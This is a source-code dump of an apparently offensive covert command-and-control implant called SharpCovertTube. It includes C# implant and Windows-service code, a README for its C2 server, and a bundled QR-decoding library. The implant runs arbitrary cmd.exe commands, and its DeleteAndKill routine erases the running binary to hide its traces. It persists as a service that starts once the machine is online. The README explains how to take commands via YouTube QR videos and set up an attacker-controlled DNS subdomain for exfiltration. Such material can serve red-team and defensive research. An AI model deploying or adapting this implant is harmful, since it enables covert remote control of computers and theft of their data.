68 | serviceStatus.dwWaitHint = 100000;
69 | SetServiceStatus(this.ServiceHandle, ref serviceStatus);
70 |
71 | eventLog1.WriteEntry("Starting service...");
72 |
73 | while (!IsConnectedToInternet())
74 | {
75 | System.Threading.Thread.Sleep(1000 * 60);
76 | }
77 |
78 | eventLog1.WriteEntry("Got internet connection...");
79 | System.Threading.Thread.Sleep(1000 * 2);
80 | SharpCovertTube.Start();
81 |
82 | // Update the service state to Running.
83 | serviceStatus.dwCurrentState = ServiceState.SERVICE_RUNNING;
84 | SetServiceStatus(this.ServiceHandle, ref serviceStatus);
85 | }
86 |
87 | protected override void OnStop()
88 | {
89 | // Update the service state to Stop Pending.
90 | ServiceStatus serviceStatus = new ServiceStatus();
91 | serviceStatus.dwCurrentState = ServiceState.SERVICE_STOP_PENDING;
92 | serviceStatus.dwWaitHint = 100000;
93 | SetServiceStatus(this.ServiceHandle, ref serviceStatus);
94 |
95 | eventLog1.WriteEntry("Stopping service...");
96 |
97 | // Update the service state to Stopped.
98 | serviceStatus.dwCurrentState = ServiceState.SERVICE_STOPPED;
99 | SetServiceStatus(this.ServiceHandle, ref serviceStatus);
100 | }
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/SharpCovertTube/CmdFunctions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Text;
4 | using System.Diagnostics;
5 | using System.Runtime.InteropServices;
6 | using static SharpCovertTube.Win32;
7 |
8 | namespace SharpCovertTube
9 | {
10 | internal class CmdFunctions
11 | {
12 | public static string OrdinaryCmd(string command)
13 | {
14 | string output = "";
15 | using (Process process = new Process())
16 | {
17 | process.StartInfo.FileName = "cmd.exe";
18 | process.StartInfo.Arguments = "/c " + command;
19 | process.StartInfo.UseShellExecute = false;
20 | process.StartInfo.RedirectStandardOutput = true;
21 | process.Start();
22 | StreamReader reader2 = process.StandardOutput;
23 | output = reader2.ReadToEnd();
24 | process.WaitForExit();
25 | }
26 | return output;
27 | }
28 |
29 |
30 | public static void DeleteAndKill()
31 | {
32 | StringBuilder fname = new System.Text.StringBuilder(MAX_PATH);
33 | GetModuleFileName(IntPtr.Zero, fname, MAX_PATH);
34 | string filename = fname.ToString();
35 | string new_name = ":Random";
36 |
37 | // Handle to current file
38 | IntPtr hFile = CreateFileW(filename, DELETE | SYNCHRONIZE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
39 |
40 | // Creating FILE_RENAME_INFO struct
41 | filerenameinfo_struct fri = new filerenameinfo_struct();
42 | fri.ReplaceIfExists = true;
43 | fri.RootDirectory = IntPtr.Zero;
44 | uint FileNameLength = (uint)(new_name.Length * 2);
45 | fri.FileNameLength = FileNameLength;
46 | int size = Marshal.SizeOf(typeof(filerenameinfo_struct)) + (new_name.Length + 1) * 2;
47 |
48 | IntPtr fri_addr = IntPtr.Zero;
49 | unsafe
50 | {
51 | // Get Address of FILE_RENAME_INFO struct
52 | filerenameinfo_struct* pfri = &fri;
53 | fri_addr = (IntPtr)pfri;
54 |
55 | // Copy new file name (bytes) to filename member in FILE_RENAME_INFO struct
56 | byte* p = fri.filename;
57 | byte[] filename_arr = Encoding.Unicode.GetBytes(new_name);
58 | foreach (byte b in filename_arr)
59 | {
60 | *p = b;
61 | p += 1;
62 | }
63 | }
64 | // Rename file calling SetFileInformationByHandle
65 | int sfibh_res = SetFileInformationByHandle(hFile, FileInformationClass.FileRenameInfo, fri_addr, size);
66 |
67 | // Close handle to finally rename file
68 | bool ch_res = CloseHandle(hFile);
69 |
70 | // Handle to current file
71 | IntPtr hFile2 = CreateFileW(filename, DELETE | SYNCHRONIZE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
72 |
73 | // Creating FILE_DISPOSITION_INFO struct
74 | filedispositioninfo_struct fdi = new filedispositioninfo_struct();
75 | fdi.DeleteFile = true;
76 | IntPtr fdi_addr = IntPtr.Zero;
77 | int size_fdi = Marshal.SizeOf(typeof(filedispositioninfo_struct));
78 |
79 | unsafe
80 | {
81 | // Get Address of FILE_DISPOSITION_INFO struct
82 | filedispositioninfo_struct* pfdi = &fdi;
83 | fdi_addr = (IntPtr)pfdi;
84 | }
85 |
86 | // Rename file calling SetFileInformationByHandle
87 | int sfibh_res2 = SetFileInformationByHandle(hFile2, FileInformationClass.FileDispositionInfo, fdi_addr, size_fdi);
88 |
89 | // Close handle to finally delete file
90 | bool ch_res2 = CloseHandle(hFile2);
91 |
92 | // Exiting...
93 | Environment.Exit(0);
94 | }
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/SharpCovertTube/HelperFunctions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Net;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 |
8 |
9 | namespace SharpCovertTube
10 | {
11 | internal class HelperFunctions
12 | {
13 | public static string Base64Encode(string plainText)
14 | {
15 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
16 | return System.Convert.ToBase64String(plainTextBytes);
17 | }
18 |
19 |
20 | public static string Base64Decode(string base64EncodedData)
21 | {
22 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
23 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
24 | }
25 |
26 | public static string ByteArrayToStr(byte[] DataArray)
27 | {
28 | Decoder decoder = Encoding.UTF8.GetDecoder();
29 | int CharCount = decoder.GetCharCount(DataArray, 0, DataArray.Length);
30 | char[] CharArray = new char[CharCount];
31 | decoder.GetChars(DataArray, 0, DataArray.Length, CharArray, 0);
32 | return new string(CharArray);
33 | }
34 |
35 |
36 | // Source: https://stackoverflow.com/questions/4133377/splitting-a-string-number-every-nth-character-number
37 | public static IEnumerable SplitInParts(String s, Int32 partLength)
38 | {
39 | if (s == null)
40 | {
41 | throw new ArgumentNullException(nameof(s));
42 | }
43 | if (partLength <= 0)
44 | {
45 | throw new ArgumentException("Part length has to be positive.", nameof(partLength));
46 | }
47 | for (var i = 0; i < s.Length; i += partLength)
48 | yield return s.Substring(i, Math.Min(partLength, s.Length - i));
49 | }
50 |
51 |
52 | // AES Decrypt
53 | public static string DecryptStringFromBytes(String cipherTextEncoded, byte[] Key, byte[] IV)
54 | {
55 | byte[] cipherText = Convert.FromBase64String(cipherTextEncoded);
56 | if (cipherText == null || cipherText.Length <= 0)
57 | throw new ArgumentNullException("cipherText");
58 | if (Key == null || Key.Length <= 0)
59 | throw new ArgumentNullException("Key");
60 | if (IV == null || IV.Length <= 0)
61 | throw new ArgumentNullException("IV");
62 | string plaintext = null;
63 | using (RijndaelManaged rijAlg = new RijndaelManaged())
64 | {
65 | rijAlg.Key = Key;
66 | rijAlg.IV = IV;
67 | ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);
68 | using (MemoryStream msDecrypt = new MemoryStream(cipherText))
69 | {
70 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
71 | {
72 | using (StreamReader srDecrypt = new StreamReader(csDecrypt))
73 | {
74 | plaintext = srDecrypt.ReadToEnd();
75 | }
76 | }
77 | }
78 | }
79 | return plaintext;
80 | }
81 |
82 |
83 | public static string getRequest(string url)
84 | {
85 | WebRequest wrGETURL = WebRequest.Create(url);
86 | Stream objStream = wrGETURL.GetResponse().GetResponseStream();
87 | StreamReader objReader = new StreamReader(objStream);
88 | string json_response_str = "";
89 | string sLine = "";
90 | while (sLine != null)
91 | {
92 | json_response_str += sLine;
93 | sLine = objReader.ReadLine();
94 | }
95 | return json_response_str;
96 | }
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/HelperFunctions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Net;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 |
8 | namespace SharpCovertTube_Service
9 | {
10 | internal class HelperFunctions
11 | {
12 | public static string Base64Encode(string plainText)
13 | {
14 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
15 | return System.Convert.ToBase64String(plainTextBytes);
16 | }
17 |
18 |
19 | public static string Base64Decode(string base64EncodedData)
20 | {
21 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
22 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
23 | }
24 |
25 | public static string ByteArrayToStr(byte[] DataArray)
26 | {
27 | Decoder decoder = Encoding.UTF8.GetDecoder();
28 | int CharCount = decoder.GetCharCount(DataArray, 0, DataArray.Length);
29 | char[] CharArray = new char[CharCount];
30 | decoder.GetChars(DataArray, 0, DataArray.Length, CharArray, 0);
31 | return new string(CharArray);
32 | }
33 |
34 |
35 | // Source: https://stackoverflow.com/questions/4133377/splitting-a-string-number-every-nth-character-number
36 | public static IEnumerable SplitInParts(String s, Int32 partLength)
37 | {
38 | if (s == null)
39 | {
40 | throw new ArgumentNullException(nameof(s));
41 | }
42 | if (partLength <= 0)
43 | {
44 | throw new ArgumentException("Part length has to be positive.", nameof(partLength));
45 | }
46 | for (var i = 0; i < s.Length; i += partLength)
47 | yield return s.Substring(i, Math.Min(partLength, s.Length - i));
48 | }
49 |
50 |
51 | // AES Decrypt
52 | public static string DecryptStringFromBytes(String cipherTextEncoded, byte[] Key, byte[] IV)
53 | {
54 | byte[] cipherText = Convert.FromBase64String(cipherTextEncoded);
55 | if (cipherText == null || cipherText.Length <= 0)
56 | throw new ArgumentNullException("cipherText");
57 | if (Key == null || Key.Length <= 0)
58 | throw new ArgumentNullException("Key");
59 | if (IV == null || IV.Length <= 0)
60 | throw new ArgumentNullException("IV");
61 | string plaintext = null;
62 | using (RijndaelManaged rijAlg = new RijndaelManaged())
63 | {
64 | rijAlg.Key = Key;
65 | rijAlg.IV = IV;
66 | ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);
67 | using (MemoryStream msDecrypt = new MemoryStream(cipherText))
68 | {
69 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
70 | {
71 | using (StreamReader srDecrypt = new StreamReader(csDecrypt))
72 | {
73 | plaintext = srDecrypt.ReadToEnd();
74 | }
75 | }
76 | }
77 | }
78 | return plaintext;
79 | }
80 |
81 |
82 | public static string getRequest(string url)
83 | {
84 | WebRequest wrGETURL = WebRequest.Create(url);
85 | Stream objStream = wrGETURL.GetResponse().GetResponseStream();
86 | StreamReader objReader = new StreamReader(objStream);
87 | string json_response_str = "";
88 | string sLine = "";
89 | while (sLine != null)
90 | {
91 | json_response_str += sLine;
92 | sLine = objReader.ReadLine();
93 | }
94 | return json_response_str;
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/SharpCovertTube/SharpCovertTube.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {28004BC6-DAE3-4F4C-AC14-B3DE3F6CF95E}
8 | Exe
9 | SharpCovertTube
10 | SharpCovertTube
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/SharpCovertTube_Service/SharpCovertTube_Service.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {D926FC20-E5B8-403C-99F4-DBEF665D4563}
8 | WinExe
9 | SharpCovertTube_Service
10 | SharpCovertTube_Service
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | SharpCovertTube_Service.Program
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | Component
60 |
61 |
62 | ProjectInstaller.cs
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | Component
73 |
74 |
75 | SharpCovertTube_Service.cs
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | ProjectInstaller.cs
86 |
87 |
88 | SharpCovertTube_Service.cs
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/c2-server/README.md:
--------------------------------------------------------------------------------
1 | # c2-server
2 |
3 | Script to generate a video, upload it to Youtube and receive the DNS responses from the SharpCovertTube client.
4 |
5 | - "generate": Create a QR video
6 | - "upload": Upload a video to Youtube
7 | - "listen": Listen for DNS queries
8 | - "all": Create a QR video + Upload a video to Youtube + Listen for DNS queries
9 | - "exit": Exit the program
10 |
11 | 
12 |
13 | Generating a video with a QR image:
14 |
15 | 
16 |
17 | Uploading the video:
18 |
19 | 
20 |
21 | Listening for DNS queries and decoding/decrypting the results:
22 |
23 | 
24 |
25 | Generating video + Uploading video + Listening for DNS queries:
26 |
27 | 
28 |
29 | --------------------------
30 |
31 | ## Installation
32 |
33 | ```
34 | apt-get install libgl1
35 | pip install dnslib pillar-youtube-upload Pillow opencv-python pyqrcode pypng pycryptodome rebus
36 | ```
37 |
38 | If port 53 is in use you may need to stop the systemd-resolved service:
39 |
40 | ```
41 | sudo systemctl stop systemd-resolved
42 | ```
43 |
44 | --------------------------
45 |
46 | ## Configuration
47 |
48 | ### A. Youtube
49 |
50 | It is necessary to complete the **config.py** file:
51 |
52 | - **client_id** and **client_secret**:
53 | - Go to the [Google's credentials page](https://console.cloud.google.com/apis/credentials)
54 | - Click "Create Credentials" > "OAuth client ID" and select the "Web application" app type
55 | - Use "http://localhost:8080" as redirect URI and click "Create"
56 | - Open the OAuth client ID to grab the values
57 |
58 | - **access_token_** and **refresh_token_**:
59 | - Access the following page (after changing "YOUR_CLIENT_ID" with your client_id value):
60 |
61 | https://accounts.google.com/o/oauth2/auth?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost:8080&response_type=code&scope=https://www.googleapis.com/auth/youtube.upload&access_type=offline
62 |
63 | - Grab the "code" value from the previous request and execute the following CURL request (after changing "YOUR_CODE" with the code value, "YOUR_CLIENT_ID" with your client_id value and "YOUR_CLIENT_SECRET" with your client_secret value):
64 |
65 | curl --request POST --data "code=YOUR_CODE&client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET&redirect_uri=http://localhost:8080&grant_type=authorization_code" https://oauth2.googleapis.com/token
66 |
67 | - **ns_subdomain**: The subdomain for DNS exfiltration, in this case we will use the subdomain "steve"
68 | - **log_file** (default: "log.txt"): File to store the logs
69 | - **show_banner** (default: False): Show the banner
70 |
71 |
72 | ### B. DNS configuration (DigitalOcean and GoDaddy)
73 |
74 | If you have not configured the DNS domain and is already pointing to a server you control, you can do it using DigitalOcean and GoDaddy.
75 |
76 | Create a project in DigitalOcean, connect the GoDaddy's domain to it and create a droplet.
77 |
78 | 
79 |
80 | Then, add the following DNS records:
81 |
82 | - "A" record for your domain, for example "domain.com", pointing to the droplet's IP address.
83 | - "A" record for subdomain "ns" pointing to the droplet's IP address.
84 | - "NS" record for a subdomain, for example "steve", pointing to the droplet's IP address.
85 | - NOTE: This is the subdomain we will use for DNS exfiltration.
86 | - "NS" record redirecting to ns1.digitalocean.com (if not already in there).
87 | - "NS" record redirecting to ns2.digitalocean.com (if not already in there).
88 | - "NS" record redirecting to ns3.digitalocean.com (if not already in there).
89 |
90 | 
91 |
92 | After purchasing a domain in GoDaddy, visit the "DNS Management" section in GoDaddy ([https://dcc.godaddy.com/manage/YOUR_DOMAIN/dns](https://dcc.godaddy.com/manage/YOUR_DOMAIN/dns)). You have to add an entry in the "Hostname" subsection, which will contain the host "ns" and will point to your DigitalOcean droplet's IP address:
93 |
94 | 
95 |
96 | Then, in "Nameservers" subsection, add the DigitalOcean nameservers if they are not already in there (ns1.digitalocean.com, ns2.digitalocean.com and ns3.digitalocean.com):
97 |
98 | 
99 |
--------------------------------------------------------------------------------
/SharpCovertTube/QRCodeDecoder/Finder.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code finder class.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 |
46 | namespace SharpCovertTube.QRCodeDecoder
47 | {
48 | ///
49 | /// QR code finder class
50 | ///
51 | internal class Finder
52 | {
53 | // horizontal scan
54 | internal int Row;
55 | internal int Col1;
56 | internal int Col2;
57 | internal double HModule;
58 |
59 | // vertical scan
60 | internal int Col;
61 | internal int Row1;
62 | internal int Row2;
63 | internal double VModule;
64 |
65 | internal double Distance;
66 | internal double ModuleSize;
67 |
68 | ///
69 | /// Constructor during horizontal scan
70 | ///
71 | internal Finder
72 | (
73 | int Row,
74 | int Col1,
75 | int Col2,
76 | double HModule
77 | )
78 | {
79 | this.Row = Row;
80 | this.Col1 = Col1;
81 | this.Col2 = Col2;
82 | this.HModule = HModule;
83 | Distance = double.MaxValue;
84 | return;
85 | }
86 |
87 | ///
88 | /// Match during vertical scan
89 | ///
90 | internal void Match
91 | (
92 | int Col,
93 | int Row1,
94 | int Row2,
95 | double VModule
96 | )
97 | {
98 | // test if horizontal and vertical are not related
99 | if (Col < Col1 || Col >= Col2 || Row < Row1 || Row >= Row2) return;
100 |
101 | // Module sizes must be about the same
102 | if (Math.Min(HModule, VModule) < Math.Max(HModule, VModule) * QRDecoder.MODULE_SIZE_DEVIATION) return;
103 |
104 | // calculate distance
105 | double DeltaX = Col - 0.5 * (Col1 + Col2);
106 | double DeltaY = Row - 0.5 * (Row1 + Row2);
107 | double Delta = Math.Sqrt(DeltaX * DeltaX + DeltaY * DeltaY);
108 |
109 | // distance between two points must be less than 2 pixels
110 | if (Delta > QRDecoder.HOR_VERT_SCAN_MAX_DISTANCE) return;
111 |
112 | // new result is better than last result
113 | if (Delta < Distance)
114 | {
115 | this.Col = Col;
116 | this.Row1 = Row1;
117 | this.Row2 = Row2;
118 | this.VModule = VModule;
119 | ModuleSize = 0.5 * (HModule + VModule);
120 | Distance = Delta;
121 | }
122 | return;
123 | }
124 |
125 | ///
126 | /// Horizontal and vertical scans overlap
127 | ///
128 | internal bool Overlap
129 | (
130 | Finder Other
131 | )
132 | {
133 | return Other.Col1 < Col2 && Other.Col2 >= Col1 && Other.Row1 < Row2 && Other.Row2 >= Row1;
134 | }
135 |
136 | ///
137 | /// Finder to string
138 | ///
139 | public override string ToString()
140 | {
141 | if (Distance == double.MaxValue)
142 | {
143 | return string.Format("Finder: Row: {0}, Col1: {1}, Col2: {2}, HModule: {3:0.00}", Row, Col1, Col2, HModule);
144 | }
145 |
146 | return string.Format("Finder: Row: {0}, Col: {1}, Module: {2:0.00}, Distance: {3:0.00}", Row, Col, ModuleSize, Distance);
147 | }
148 | }
149 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/QRCodeDecoder/Finder.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code finder class.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 | using System.Text;
46 |
47 | namespace SharpCovertTube_Service.QRCodeDecoder
48 | {
49 | ///
50 | /// QR code finder class
51 | ///
52 | internal class Finder
53 | {
54 | // horizontal scan
55 | internal int Row;
56 | internal int Col1;
57 | internal int Col2;
58 | internal double HModule;
59 |
60 | // vertical scan
61 | internal int Col;
62 | internal int Row1;
63 | internal int Row2;
64 | internal double VModule;
65 |
66 | internal double Distance;
67 | internal double ModuleSize;
68 |
69 | ///
70 | /// Constructor during horizontal scan
71 | ///
72 | internal Finder
73 | (
74 | int Row,
75 | int Col1,
76 | int Col2,
77 | double HModule
78 | )
79 | {
80 | this.Row = Row;
81 | this.Col1 = Col1;
82 | this.Col2 = Col2;
83 | this.HModule = HModule;
84 | Distance = double.MaxValue;
85 | return;
86 | }
87 |
88 | ///
89 | /// Match during vertical scan
90 | ///
91 | internal void Match
92 | (
93 | int Col,
94 | int Row1,
95 | int Row2,
96 | double VModule
97 | )
98 | {
99 | // test if horizontal and vertical are not related
100 | if (Col < Col1 || Col >= Col2 || Row < Row1 || Row >= Row2) return;
101 |
102 | // Module sizes must be about the same
103 | if (Math.Min(HModule, VModule) < Math.Max(HModule, VModule) * QRDecoder.MODULE_SIZE_DEVIATION) return;
104 |
105 | // calculate distance
106 | double DeltaX = Col - 0.5 * (Col1 + Col2);
107 | double DeltaY = Row - 0.5 * (Row1 + Row2);
108 | double Delta = Math.Sqrt(DeltaX * DeltaX + DeltaY * DeltaY);
109 |
110 | // distance between two points must be less than 2 pixels
111 | if (Delta > QRDecoder.HOR_VERT_SCAN_MAX_DISTANCE) return;
112 |
113 | // new result is better than last result
114 | if (Delta < Distance)
115 | {
116 | this.Col = Col;
117 | this.Row1 = Row1;
118 | this.Row2 = Row2;
119 | this.VModule = VModule;
120 | ModuleSize = 0.5 * (HModule + VModule);
121 | Distance = Delta;
122 | }
123 | return;
124 | }
125 |
126 | ///
127 | /// Horizontal and vertical scans overlap
128 | ///
129 | internal bool Overlap
130 | (
131 | Finder Other
132 | )
133 | {
134 | return Other.Col1 < Col2 && Other.Col2 >= Col1 && Other.Row1 < Row2 && Other.Row2 >= Row1;
135 | }
136 |
137 | ///
138 | /// Finder to string
139 | ///
140 | public override string ToString()
141 | {
142 | if (Distance == double.MaxValue)
143 | {
144 | return string.Format("Finder: Row: {0}, Col1: {1}, Col2: {2}, HModule: {3:0.00}", Row, Col1, Col2, HModule);
145 | }
146 |
147 | return string.Format("Finder: Row: {0}, Col: {1}, Module: {2:0.00}, Distance: {3:0.00}", Row, Col, ModuleSize, Distance);
148 | }
149 | }
150 | }
--------------------------------------------------------------------------------
/SharpCovertTube/QRCodeDecoder/QRCodeTrace.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code trace for debuging.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 | using System.IO;
46 |
47 | namespace SharpCovertTube.QRCodeDecoder
48 | {
49 | #if DEBUG
50 | /////////////////////////////////////////////////////////////////////
51 | // Trace Class
52 | /////////////////////////////////////////////////////////////////////
53 |
54 | static public class QRCodeTrace
55 | {
56 | private static string TraceFileName; // trace file name
57 | private static int MaxAllowedFileSize = 1024*1024;
58 |
59 | /////////////////////////////////////////////////////////////////////
60 | // Open trace file
61 | /////////////////////////////////////////////////////////////////////
62 |
63 | public static void Open
64 | (
65 | string FileName
66 | )
67 | {
68 | // save full file name
69 | TraceFileName = Path.GetFullPath(FileName);
70 | Write("----");
71 | return;
72 | }
73 |
74 | /////////////////////////////////////////////////////////////////////
75 | // write to trace file
76 | /////////////////////////////////////////////////////////////////////
77 |
78 | public static void Format
79 | (
80 | string Message,
81 | params Object[] ArgArray
82 | )
83 | {
84 | if(ArgArray.Length == 0) Write(Message);
85 | else Write(string.Format(Message, ArgArray));
86 | return;
87 | }
88 |
89 | /////////////////////////////////////////////////////////////////////
90 | // write to trace file
91 | /////////////////////////////////////////////////////////////////////
92 |
93 | public static void Write
94 | (
95 | string Message
96 | )
97 | {
98 | Console.WriteLine("Message: \t" + Message);
99 | // test file length
100 | TestSize();
101 |
102 | // open existing or create new trace file
103 | StreamWriter TraceFile = new StreamWriter(TraceFileName, true);
104 |
105 | // write date and time
106 | TraceFile.Write(string.Format("{0:yyyy}/{0:MM}/{0:dd} {0:HH}:{0:mm}:{0:ss} ", DateTime.Now));
107 |
108 | // write message
109 | TraceFile.WriteLine(Message);
110 |
111 | // close the file
112 | TraceFile.Close();
113 |
114 | // exit
115 | return;
116 | }
117 |
118 |
119 | /////////////////////////////////////////////////////////////////////
120 | // Test file size
121 | // If file is too big, remove first quarter of the file
122 | /////////////////////////////////////////////////////////////////////
123 |
124 | private static void TestSize()
125 | {
126 | // get trace file info
127 | FileInfo TraceFileInfo = new FileInfo(TraceFileName);
128 |
129 | // if file does not exist or file length less than max allowed file size do nothing
130 | if (TraceFileInfo.Exists == false || TraceFileInfo.Length <= MaxAllowedFileSize) return;
131 |
132 | // create file info class
133 | FileStream TraceFile = new FileStream(TraceFileName, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
134 |
135 | // seek to 25% length
136 | TraceFile.Seek(TraceFile.Length / 4, SeekOrigin.Begin);
137 |
138 | // new file length
139 | int NewFileLength = (int) (TraceFile.Length - TraceFile.Position);
140 |
141 | // new file buffer
142 | byte[] Buffer = new byte[NewFileLength];
143 |
144 | // read file to the end
145 | TraceFile.Read(Buffer, 0, NewFileLength);
146 |
